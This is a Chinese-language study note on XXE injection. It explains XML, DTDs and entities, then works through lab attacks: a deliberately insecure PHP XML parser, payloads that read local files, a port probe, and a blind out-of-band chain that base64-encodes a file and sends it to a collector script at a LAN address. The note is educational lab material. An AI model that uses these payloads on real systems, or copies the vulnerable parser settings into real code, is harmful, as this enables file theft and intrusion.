什么是XXE?
目录
XXE(XML External Entity Injection)指的是XML外部实体注入攻击。指的时攻击者利用没有正确的限制和禁用外部实体的使用这一漏洞攻击者在外部构造恶意实体的XML文档来实施攻击,这些恶意的外部实体可能造成我们的应用程序执行一些未授权的操作如:读取系统文件,执行系统命令,内网端口扫描,攻击内网网站等。
学习XXE漏洞之前先来学习一下XML吧!
一,课前预习XML
1,什么是XML?
XML,全称Extensible Markup Language,即可扩展标记语言,是一种标记语言,也是一种简单的数据存储语言。通俗点说,它就像一种特殊的“记事本”,可以用来描述、传输和存储数据。
2,XML文档结构
<?xml version='1.0' ?> //声明这是一个xml文档
<!DOCTYPE users [
<!ELEMENT users (user+)>
<!ELEMENT user ( name,age,gender )>
<!ATTLIST user id CDATA #REQUIRED>
<!ELEMENT name (#PCDATA)> //文档类型定义
<!ELEMENT age (#PCDATA)>
<!ELEMENT gender (#PCDATA)>
]>
<users>
<user id='1'>
<name>zhangsan</name>
<age>23</age>
<gender>male</gender> //文档元素
<br/>
</user>
<user id='2'>
<name>lisi</name>
<age>24</age>
<gender>female</gender>
</user>
</users>
3,XML的基本语法:
【1】文件后缀为.xml
【2】xml文档必须声明:<?xml version='1.0' ?>
【3】xml文档中只有一个根标签:下面的<users></users>
【4】属性值必须用引号括起来: <person sex="female">
【5】标签必须正确关闭:<name>狗蛋</name>
【6】xml标签区分大小写
<?xml version='1.0' ?>
<users>
<user id='1'>
<name>zhangs</name>
<age>23</age>
<gender>male</gender>
</user>
<user id='2'>
<name>lis</name>
<age>24</age>
<gender>female</gender>
</user>
</users>
4,验证
创建一个1.php文件进行验证
<?php
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
header('Content-Type: text/html; charset=utf-8');
print_r ($creds);
?>
我们将新建好的php文件放入phpstudy的www目录里面,然后根据步骤做
可以看到成功了
5,良好的XML
不规范xml:语法上没问题就是多了一些没必要的代码罢了。
规范的xml:语法和代码严谨不画蛇添足。
6,DTD约束
DTD(Document Type Definition,文档类型定义)主要用于约束XML文件,它定义了XML文档的元素、属性和实体的规范格式。
<?xml version='1.0' ?>
<!DOCTYPE users [ //定义一个users根元素
<!ELEMENT users (user+)> //user+表示允许有多个user元素
<!ELEMENT user ( name,age,gender )> //user用户里面有name,age,gender三个子元素
<!ATTLIST user id CDATA #REQUIRED> //每个user都必需要有一个id属性,CDATA:字符数据,#REQUIRED:必需的
<!ELEMENT name (#PCDATA)> //这三行定义了三个元素,#PCDATA声明为字符数据纯文本
<!ELEMENT age (#PCDATA)>
<!ELEMENT gender (#PCDATA)>
]>
<users>
<user id='1'>
<name>zhangsan</name>
<age>23</age>
<gender>male</gender>
<br/>
</user>
<user id='2'>
<name>lisi</name>
<age>24</age>
<gender>female</gender>
</user>
</users>
在PHP study的www目录下新建一个2.php文件内容为:
<?php
$xmlString = $_POST['xml'];
libxml_use_internal_errors(true);
$dom = new DOMDocument();
$xmlFile = 'example.xml';
file_put_contents($xmlFile, $xmlString);
if ($dom->load('example.xml')) { // 加载XML文件
if (!$dom->validate()) { // 验证DTD
$errors = libxml_get_errors(); // 获取错误信息
foreach($errors as $error) {
echo "Error code: {$error->code}\n";
echo "Error message: {$error->message}\n";
}
} else {
echo 'Validation successful!';
}
} else {
echo 'Failed to load XML file.';
}
?>
测试数据:
xml=<?xml version='1.0' ?>
<!DOCTYPE users [
<!ELEMENT users ( user+)>
<!ELEMENT user ( name,age,gender )>
<!ATTLIST user id CDATA #REQUIRED>
<!ELEMENT name (#PCDATA)>
<!ELEMENT age (#PCDATA)>
<!ELEMENT gender (#PCDATA)>
]>
<users>
<user id='1'>
<name>zhangsan</name>
<age>23</age>
<gender>male</gender>
</user>
<user id='2'>
<name>lisi</name>
<age>24</age>
<gender>female</gender>
</user>
</users>
结果:
ATTLIST是XML DTD(文档类型定义)中用于定义元素属性的声明。它指定了可以属于某个元素的每个属性,并提供了有关这些属性的详细信息。
#REQUIRED 表示该属性必须设置,也就是上面例子中的id属性
#IMPLIED 表示该属性可以有也可以没有
#FIXED 用于指定一个属性的值是固定的,不能改变
7,字符实体
字符实体主要用于表示那些具有特殊含义的字符,以避免在HTML或XML代码中产生歧义或错误。
【1】自定义实体
自定义实体就是我们自己定义的一个实体,例如:
我们在phpstudy的www目录下新建一个1.xml内容如下:
<?xml version='1.0' ?>
<!DOCTYPE person[
<!ELEMENT person (name)>
<!ENTITY mz "wangwu">
]>
<users>
<user id='1'>
<name>&mz;</name>
<age>23</age>
<gender>male</gender>
</user>
</users>
通过浏览器访问
代码解读:
1,<!ENTITY mz "wangwu"> //自定义了一个实体(相当于一个实体名:mz,实体值:wangwu)
2,引用:&mz;(这里记得要打上分号啊不然会报错)
【2】参数实体
它的作用是避免重复输入相同的数据简化了代码的编写(可以理解为用一个短的名字替换了一个很长的字符串)。
1,定义一个参数实体
<!ENTITY %studentInfo "(id, name, sex, score*)">
2,引用这个参数实体
<!DOCTYPE root [
<!ELEMENT root (user+)>
<!ELEMENT student (%studentInfo;)>
<!ELEMENT id (#PCDATA)>
<!ELEMENT name (#PCDATA)>
<!ELEMENT sex (#PCDATA)>
<!ELEMENT score (#PCDATA)>
]>
3,%studentInfo中有id,name,sex,score而student子元素又引用了它
<root>
<student>
<id>one</id>
<name>店铺A</name>
<sex>male</sex>
<score>100</score>
</student>
</root>
以上都后进明白了后就入实战吧!
二,XXE漏洞复现
【1】通过外部实体注入读取文件
首先我们在桌面新建一个1.txt文件内容为hello boy
然后在下面注入这条代码:
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///C:/Users/lenovo/Desktop/1.txt">
]>
<duqu>&xxe;</duqu>
提交后出现hello boy说明注入成功的读取了文件的内容
代码解读:
1,!DOCTYPE ANY:自定义的一个文档类型
2,system:代码通过system这个关键字来访问了我们给的地址。
3,<duqu>&xxe;</duqu>:可以看出&xxe是一个自定义实体
【2】通过外部实体注入扫描端口(很鸡肋)
<?xml version = "1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "http://192.168.0.131:80/1.txt">
]>
<dk>&xxe;</dk>
将上面的代码填入,提交后看到文件读取成功了,这个代码的原理呢就是通过80端口去访问1.txt文件如果访问成功了就说明对方的80端口是开启的,这样是不是非常鸡肋呢,拿网上的扫描工具和namp去扫端口它不香吗。
【3】XXE注入后无回显
1,啥是无回显?
就是没有显示数据呗
改成
注释掉后就不会有任何显示了,效果如下:
2,在虚拟机(被攻击者)新建一个get.php内容如下:
3,在虚拟机(被攻击者)新建一个vil.dtd内容如下:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C://Users//Administrator//Desktop//1.txt"> //这是被攻击者上的文件
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://192.168.0.131/get.php?file=%file;'>"> //被攻击者的ip
%all;
%send;
4,放在虚拟机(被攻击者)www目录下
攻击代码:
<?xml version = "1.0"?> <!DOCTYPE ANY[<!ENTITY % dtd SYSTEM "http://192.168.0.131/vil.dtd">%dtd;]>
进入攻击者的皮卡丘靶场里面:
进入虚拟机查看file.txt:
所以去解码,这里用的是火狐渗透版的hackbar工具
4,代码解释
<?php
$data = $_GET['file']; //获取我们提交的数据
$myfile = fopen("file.txt","w+"); //新建一个file.txt文件,w+的意思是可读可写
fwrite($myfile,$data); //将数据写入file.txt文件中
fclose($myfile); //保存并关闭file.txt文件
?>
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C://Users//lenovo//Desktop//1.txt">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://192.168.0.131/get.php?file=%file;'>">
%all;
%send;
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C://Users//lenovo//Desktop//1.txt">
这里定义了一个名为file实体,使用system执行一个系统操作,php://filter/read=convert.base64-encode/resource=这个代码用来读取给定路径的文件并将其内容转换为base64格式。
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://192.168.0.131/get.php?file=%file;'>">
这里的是一个实体%,如果直接用%的话会报错,send SYSTEM 'http://192.168.0.131/get.php?file=%file:将读取到的内容通过get.php写入到一个file.txt中。
问题来了为什么要在all实体中套一个内部实体呢?
因为当我们引用%all实体时会执行内部嵌套的send实体定义操作,我们这里的%send并没有直接定义,而是在%all内部定义的。
运行完%all定义完send实体后,就执行%send进行文件写入操作。
5,为什么要用dtd文档呢?
因为在dtd中声明标记中不能引用参数实体,只能引用外部dtd文档。
【4】靶场案例xxe_lab
1,打开靶场
2,打开bp抓包工具,抓取登录包
3,修改代码为:
<!DOCTYPE ANY [
<!ENTITY file SYSTEM "file:///C://Users//lenovo//Desktop//1.txt">
]>
<user><username>
&file;
</username><password>12313</password></user>
4,右击查看源码或f12查看源码看到:
5,利用xxe漏洞读取doLogin文件内容
6,利用御剑或7kbscan扫描出登录页面
登录就欧克了。
以上就是我的学习笔记了,谢谢观看!!!